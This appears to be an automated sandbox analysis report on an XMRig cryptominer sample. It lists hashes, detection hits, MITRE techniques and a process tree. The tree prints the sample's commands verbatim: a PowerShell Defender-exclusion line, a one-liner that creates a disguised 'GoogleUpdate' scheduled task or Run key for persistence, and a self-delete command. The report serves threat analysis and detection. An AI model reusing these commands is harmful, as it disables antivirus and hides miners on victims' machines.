xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
1800s
max time network
1792s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
06/06/2024, 09:56

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General

Target

qM5GMXBk6hJE6Y5e (24).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1252 created 1184	1252	qM5GMXBk6hJE6Y5e (24).exe	21
PID 1252 created 1184	1252	qM5GMXBk6hJE6Y5e (24).exe	21
PID 1252 created 1184	1252	qM5GMXBk6hJE6Y5e (24).exe	21
PID 1252 created 1184	1252	qM5GMXBk6hJE6Y5e (24).exe	21
PID 2524 created 1184	2524	updater.exe	21
PID 2524 created 1184	2524	updater.exe	21
PID 2524 created 1184	2524	updater.exe	21
PID 2524 created 1184	2524	updater.exe	21
PID 1040 created 1184	1040	conhost.exe	21
PID 2524 created 1184	2524	updater.exe	21

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral19/memory/580-41-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-43-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-45-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-47-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-49-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-51-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-53-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-55-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-57-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-59-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-61-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-63-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-65-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-67-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/580-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2476	powershell.exe
1676	powershell.exe

Deletes itself 1 IoCs

pid	Process
3040	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2524	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2424	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral19/memory/580-41-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-43-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-45-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-47-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-49-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-51-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-53-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-55-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-57-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-59-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-61-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-63-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/580-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2524 set thread context of 1040	2524	updater.exe	46
PID 2524 set thread context of 580	2524	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (24).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2628	schtasks.exe
1812	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1860	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 0029dcfe1bb8da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1252	qM5GMXBk6hJE6Y5e (24).exe
1252	qM5GMXBk6hJE6Y5e (24).exe
2476	powershell.exe
1252	qM5GMXBk6hJE6Y5e (24).exe
1252	qM5GMXBk6hJE6Y5e (24).exe
2068	powershell.exe
1252	qM5GMXBk6hJE6Y5e (24).exe
1252	qM5GMXBk6hJE6Y5e (24).exe
1252	qM5GMXBk6hJE6Y5e (24).exe
1252	qM5GMXBk6hJE6Y5e (24).exe
2512	powershell.exe
2524	updater.exe
2524	updater.exe
1676	powershell.exe
2524	updater.exe
2524	updater.exe
1940	powershell.exe
2524	updater.exe
2524	updater.exe
2524	updater.exe
2524	updater.exe
1040	conhost.exe
1040	conhost.exe
2524	updater.exe
2524	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	2524	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1860	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1860	WMIC.exe
Token: SeSecurityPrivilege	1860	WMIC.exe
Token: SeTakeOwnershipPrivilege	1860	WMIC.exe
Token: SeLoadDriverPrivilege	1860	WMIC.exe
Token: SeSystemtimePrivilege	1860	WMIC.exe
Token: SeBackupPrivilege	1860	WMIC.exe
Token: SeRestorePrivilege	1860	WMIC.exe
Token: SeShutdownPrivilege	1860	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1860	WMIC.exe
Token: SeUndockPrivilege	1860	WMIC.exe
Token: SeManageVolumePrivilege	1860	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1860	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1860	WMIC.exe
Token: SeSecurityPrivilege	1860	WMIC.exe
Token: SeTakeOwnershipPrivilege	1860	WMIC.exe
Token: SeLoadDriverPrivilege	1860	WMIC.exe
Token: SeSystemtimePrivilege	1860	WMIC.exe
Token: SeBackupPrivilege	1860	WMIC.exe
Token: SeRestorePrivilege	1860	WMIC.exe
Token: SeShutdownPrivilege	1860	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1860	WMIC.exe
Token: SeUndockPrivilege	1860	WMIC.exe
Token: SeManageVolumePrivilege	1860	WMIC.exe
Token: SeLockMemoryPrivilege	580	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2068 wrote to memory of 2628	2068	powershell.exe	32
PID 2068 wrote to memory of 2628	2068	powershell.exe	32
PID 2068 wrote to memory of 2628	2068	powershell.exe	32
PID 3040 wrote to memory of 2532	3040	cmd.exe	37
PID 3040 wrote to memory of 2532	3040	cmd.exe	37
PID 3040 wrote to memory of 2532	3040	cmd.exe	37
PID 2512 wrote to memory of 2780	2512	powershell.exe	38
PID 2512 wrote to memory of 2780	2512	powershell.exe	38
PID 2512 wrote to memory of 2780	2512	powershell.exe	38
PID 2424 wrote to memory of 2524	2424	taskeng.exe	40
PID 2424 wrote to memory of 2524	2424	taskeng.exe	40
PID 2424 wrote to memory of 2524	2424	taskeng.exe	40
PID 1940 wrote to memory of 1812	1940	powershell.exe	45
PID 1940 wrote to memory of 1812	1940	powershell.exe	45
PID 1940 wrote to memory of 1812	1940	powershell.exe	45
PID 2524 wrote to memory of 1040	2524	updater.exe	46
PID 904 wrote to memory of 1860	904	cmd.exe	51
PID 904 wrote to memory of 1860	904	cmd.exe	51
PID 904 wrote to memory of 1860	904	cmd.exe	51
PID 2524 wrote to memory of 580	2524	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1184
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (24).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (24).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (24).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1812
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1040
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1860
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1612
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:580

C:\Windows\system32\taskeng.exe
taskeng.exe {2B3C3216-C3BA-4CBA-85E5-83299E4A18DB} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
67e0c45e5ebaa26171ca0a702242ead9

SHA1
9d89c0df5f7915b59ae7a1b45677150d764fd192

SHA256
778173c0b85990407b10aefa607336104cf4cd119ca3614e922300044456d31a

SHA512
994705d87c9774602f549edf77f294618ef93cbc3848f9d96a5f3e0e855d30e35f5cbef3ffec5d9f2d9c9c4f7b1ad18d4f3f1d926ff7304d8ac7354699f1f13a

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/580-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-45-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-53-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-51-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-49-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-40-0x00000000001F0000-0x0000000000210000-memory.dmp

Filesize
128KB

Download
memory/580-41-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-43-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-47-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-55-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-57-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-59-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-61-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-63-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/580-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1040-46-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1040-42-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1252-22-0x000000013F470000-0x000000013F681000-memory.dmp

Filesize
2.1MB

Download
memory/1252-0-0x000000013F470000-0x000000013F681000-memory.dmp

Filesize
2.1MB

Download
memory/2068-20-0x0000000002200000-0x0000000002208000-memory.dmp

Filesize
32KB

Download
memory/2068-19-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2068-18-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2476-8-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2476-7-0x00000000026D0000-0x00000000026D8000-memory.dmp

Filesize
32KB

Download
memory/2476-9-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2476-5-0x000007FEF57EE000-0x000007FEF57EF000-memory.dmp

Filesize
4KB

Download
memory/2476-6-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2476-12-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2476-11-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2476-10-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2524-39-0x000000013F060000-0x000000013F271000-memory.dmp

Filesize
2.1MB

Download
memory/2524-31-0x000000013F060000-0x000000013F271000-memory.dmp

Filesize
2.1MB

Download